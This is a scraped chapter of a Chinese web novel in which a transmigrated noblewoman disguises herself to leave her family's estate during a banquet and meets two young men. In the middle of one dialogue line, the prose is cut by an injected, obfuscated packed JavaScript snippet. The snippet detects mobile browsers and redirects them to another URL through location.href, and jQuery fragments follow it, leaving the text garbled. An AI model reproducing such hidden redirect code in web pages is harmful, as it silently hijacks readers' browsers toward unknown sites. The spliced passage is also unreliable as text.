4. 重逢
作品:《黑莲花她只想救人》 风云楼
江寒烟记得,在陪沈听肆出府的路上曾路过哪里。
乘马经过,楼内隐约传出唱戏的声音,虽称不上动听,但也还算悦耳。
只是那扬琴的音调,让江寒烟有种恍若隔世的感觉,那一瞬间,江寒烟想起了自己从前的表演生活,她甚至觉得自己还站在在那熟悉的剧院里,下一刻,便要轮到自己登台表演。
不过,柳茵是为老师,为何会在戏楼生活呢。
看来,她得找机会去那看看,一探究竟。
江寒烟没再多想,当即起身。对着柳茵浅浅的行了一礼,“多谢女师,学生知晓。”
柳茵的脸上闪过一丝微笑,一双凤眼媚意天成。
“不必客气,等我能真帮到你的那天,再说谢也不迟。大夫人已定下月初九大摆宴席,你做好准备吧。”
...
雨后南疆总是格外的凉,柳风拂面,空气中弥漫着花草的清香。
送别柳茵后,江寒烟在亭下驻足良久,她有点想哭,但更多的是一种欣喜。
真好,还活着。
身后传来一阵极轻的脚步声,江寒烟警觉的回过头。来人一身天水蓝长袍,右臂的臂弯处似乎带着她的披风。长发高束,随风摇曳。眉眼依旧,却不如方才那般清澈透亮,反而平添了几分愁思。
是思深
“见过面了?”
沈听肆愣了半响,似乎在犹豫着什么。静了片刻,两个人就这样驻目相望,谁也没有说话。良久,沈听肆耳尖微红 。他动了动,将那件曾经盖在自己身上的披风送回了江寒烟的怀里。
“披上吧,别着凉了。”
江寒烟若有所思的看着怀里的披风,似是有些恼,“怎么不回我的话?父亲都找你说什么了?”
像是听到了预期的回答,沈听肆低声闷笑,露出了一丝得意,一改来见她时路上的沉闷。
“见了,不仅见了,而且江国公还说了,从今往后我就是你的贴身侍卫了。以后还要仰仗郡主的聪明才智,让我早日更职副官上任!”
一语终了,沈听肆眉眼弯弯,视线始终停在江寒烟的身上。他向后退了几步,双腿并拢,朝着朝着江寒烟的方向恭恭敬敬的行了一礼。
江寒烟整个人犹如被石化了一般愣在原地,不对,绝对不对。不过好在有了前几次的经验,江寒烟也算明白了。
世界之大,自己都能魂穿,那思深怎么就不能真的是什么狐狸精化形的呢!否则自己怎么每次在他面前都会脑子莫名宕机。
见思考无效,江寒烟也只得作败,顺着演下去。她甜甜的笑了笑,一双酒窝在脸颊边若隐若现,娇而不媚,也朝着沈庭肆的方向颔首。
美人柳下浅笑,笑渐不闻声渐俏
“那,小侍卫帮我系披风,好不好?”
江寒烟就这么望着沈听肆,眼波流转,笑意在眸中荡漾。莫名的,沈听肆觉得南疆的初春似乎也没那么冷了,甚至有些燥热。
沈听肆烦躁的扯了扯衣领,本想避开江寒烟的视线。但想到自己前两次节节败退的场景,便又强装镇定的将披风从江寒烟手中接了过来。
在来的路上,沈听肆并没有仔细观察这件披风。徐徐展开之时,他这才注意到披风尾部绣着的雪片莲图案。
不错,很适合她。
江寒烟敛起神色,垂眸看向沈听肆有些发抖的手指,白白的,骨节分明,放现代得话没准是个弹钢琴的好苗子。
不对!骗子,这男狐狸绝对是个骗子!抖成这样还略通医术,简直荒谬!
经过不懈的努力,沈听肆终于颤颤巍巍的系好了这件披风。竹青的声音也恰合时宜的拯救了边缘线即将崩塌的沈听肆,和一心分析男狐狸目的的江寒烟。
“二小姐,老爷让我来提前知会您一声,大少爷和裴公子都会赶在下月初九的宴席上回来看您。您身体欠佳,宴会又是个劳神累身的活,为了您的身体考虑,这些天您都莫要出府,养精蓄锐为妙。”
听到这,江寒烟的脸色倏然沉了下来,蹙着眉头没有说话,她冷着脸幽幽的朝竹青的方向扫了一眼。本想问些什么,却见沈听肆似如获新生一般,光速跑开。
“你自己系吧!”
???
——
二月初九,戌时
一层淡淡的银光将国公府笼罩其中,府邸内灯火辉煌,轩窗四敞。
来往的宾客穿梭于亭台楼阁之间,南疆的大小官员无不备礼而往,更有甚者从京都提前一月赶来。
明面上是为了庆祝江国公爱女归家,实际上来的人没有一个不是想跟江晟重新打好关系的。
不为别的,因为大尉朝现在不再是元康年了。
是南遥
当今圣上,正是昔日的南安王。也就是平阳公主,国公府主母沈令仪一母同胞的亲哥哥。
沈鹤之
江寒烟被困在府里这几天,她本想找机会出府打探风云楼。
可国公府内外几乎是重重把守,只要她出了房间,就会有人跟着她,本想私下贿赂,可一天下来江寒烟这才发现,看着她的人,没有重样的。
江寒烟又想在礼教课上问问柳茵,可柳茵却闭口不谈。
原本还想指望沈听肆,江寒烟也早早就和他制定好了计划,可两个人聊着聊着在提到尉朝新定的年号之后他就像变了一个人一样,沈听肆没留下一句话,夺门而出后,江寒烟只在跟踪的路上见过他从别院的一个密室里离去的背影。
绝对有猫腻,可眼下江寒烟也没心思去想沈听肆。这府里没有她能依托仰仗的人,柔性好问和男人也都靠不住,又不能采取武力措施,那她就只能智取了。
果然,靠谁都不如靠自己。
谁知道过了宴会之后,这府里的人还会生出什么幺蛾子来,今晚趁着人多,时机刚刚好。
江寒烟取出藏在床下暗格里的盒子,那是她临走前从七星司里顺出来的。
人皮面具 ,毒针,迷药......
她取出一张人皮面具,凭着脑海中江逢的样子,在面具上简单加了几笔。随后叠了一件常服穿在里面,泰然自若地走向门口。
“我茶喝多了,得解手,走吧二位。”
江寒烟听从她们的吩咐,戴好面纱。一路上,江寒烟这才真正意义上的意识到了什么叫做远在深山有人闻。
各式各色的箱子,大的小的,有的还需要七八个人才能抬进来。不用猜,江寒烟也知道里面装的是什么。
临近茅房,江寒烟开始“肚子疼”了起来。
只见她弓起腰,面色痛苦的捂住了下腹,语调虚浮。
“二位,我方才可能是误喝了桃花茶,难受的很。实在是不能陪着你们这么走了,茅房就在那,我先行一步。”
不管江寒烟从前怎样,但好歹也算是个名义上的郡主,江国公在拍她们值守的时候,也下过死命令。若是真出什么岔子,她们几个谁也担当不起这个责任。
一进茅房,江寒烟就立马直起了腰,戴上了一早准备好的人皮面具,脱下外衣,顺着院墙丢了出去。演技大爆发,停了一会后,不疾不徐的走了出去。
在外面等了一会的两人,见有人出来,赶忙迎了上去。走进一看才发现是大小姐。便赶忙行礼问安。
两人中较为瘦小的一个女孩子刚要开口,身旁高个子女孩便赶忙将她拦下护在了身后,抢先开口。
“大小姐,不知您方才是否看到二小姐在里面。”
江寒烟看着眼前态度一百八十度大反转的两人。再一次认清了“自己”在这府里的地位。既无奈又同情,不过,她们很怕江逢,这倒是一个不错的点。
想到这,江寒烟的表情变得微妙起来。但碍于眼下情况,并没有表现的明显。江逢的声音是比江寒烟稍粗一些,江寒烟虽做不到完美,但十分她也是能像上五分的。
“哦,她啊,还在里面呢,看着像是泻肚了。你们也不必在这看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338504|167786||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着了,她自己掀不出什么风浪来。”
“对了,去我房里挑个成色好的翡翠镯子,开宴的时候给她送过去。”
“莫要耽搁,这是可是父亲特意吩咐的。”
说完,江寒烟便头也不回的离开了。临近府门,到了那两人的视野盲区。江寒烟这才三步一回头的向身后看看去。
首战告捷
“哎呦!”
江寒烟揉着脑袋,下意识便想落荒而逃。忽地又想起自己现在是“江逢”,又变得神气起来。
“你!...”
话还没来得及说出口,便又咽了下去。
是思深
他的臂弯里夹着一件浅绿色的云缎外衣。
江寒烟的大脑再次陷入宕机状态,怎么!在他手里???
“姑娘,后面有人追你?”沈听肆说着赶忙上前,停在了一步开外的安全距离处。自己则将单膝跪在地下,将另一只手臂搭在江寒烟面前,好让她能借力站起来。
江寒烟的目光中隐隐露出不悦,她没有接沈听肆的话。此时的将军门门内是门厅若市的喧闹,而门庭处唯余几声清脆的咔哒声在门口回荡。
捡你回来,就是来克我的是吧,这节奏不对吧!江寒烟二话不说,朝着思深的臂弯打了过去。
是熟悉的味道,但人......
不对,这个味道绝对只有江寒烟才有。沈听肆眉头紧蹙,仔细观察着“江逢”,也看不出来有哪里不对劲。
江寒烟也没再理他,起身就要朝门外走。
沈听肆这才起身,连忙道歉。
“姑娘,抱歉。是在下没有看路,不小心撞到了你。”
半个身子踏出门外的江寒烟听了沈听肆这话,不免有些无语。姑娘,姑娘,见谁都是姑娘是吧,明明答应了自己那么久的事,结果好几天也没个人影,干狐狸精这行的都这么不讲信用的么。
一想到那日的琴声,江寒烟方才的不悦瞬间就飞到了九霄云外。姐姐我要忙事业去了,没空搭理你,自己玩吧。
“去风云楼吗?”
沈听肆的声音在身后响起,与往日不同。听起来有些沙哑,像是哭过很久一般。
江寒烟脚步一顿。那一瞬间,她很想转过身去问问思深。
你这几天去哪了?
嗓子怎么哑了?
为什么不来找自己?
......
但她没有问,也没有回头。就这么继续向前走着,直到肩膀处传来那股熟悉的触感。
“寒烟,这几天发生了太多事,我没一时间办法和你全盘托出。但你相信我,早晚有一天我会悉数告知,你只需要再给我一点时间,一点就好。”
“还有,咱们约定好的风云楼计划,我没有忘,也不会忘。我已经帮你去打探好了,本想今晚回府的第一时间就去找你,但没想到在这就碰见你了。”
沈听肆的声音又细又轻,像是生怕吓到江寒烟一样。
“现在郡主大人能原谅我了吗?”
“不原谅我的话也没关系,要不要先回去听一听我查到的风云楼?”
江寒烟别开眼,没有吭声。只是把人皮面具撕了下来。还没来得及质问,就被不远处的马蹄声吸去了目光。
郎骑战马来
两人一前一后,靠后那人一身藏蓝色云纹锦衣,面容朗若清月。长睫下,一双澈如秋水般的双眸,自见到江寒烟后视线便不曾挪开半分。
裴云策,裴太傅的次子
裴闻洲
“江寒烟”入质前的儿时玩伴
再见明月,裴闻洲目眩神摇,一时间心绪翻涌。
“小烟,好久不见。”
......
一语终了,裴闻洲目光依旧缱绻的望着江寒烟。似是要看将这六年来她的所有艰辛全部看透。
他眉心浅皱,开口的声音似夹杂着初春的微风。
“这么多年,你过得还好么?”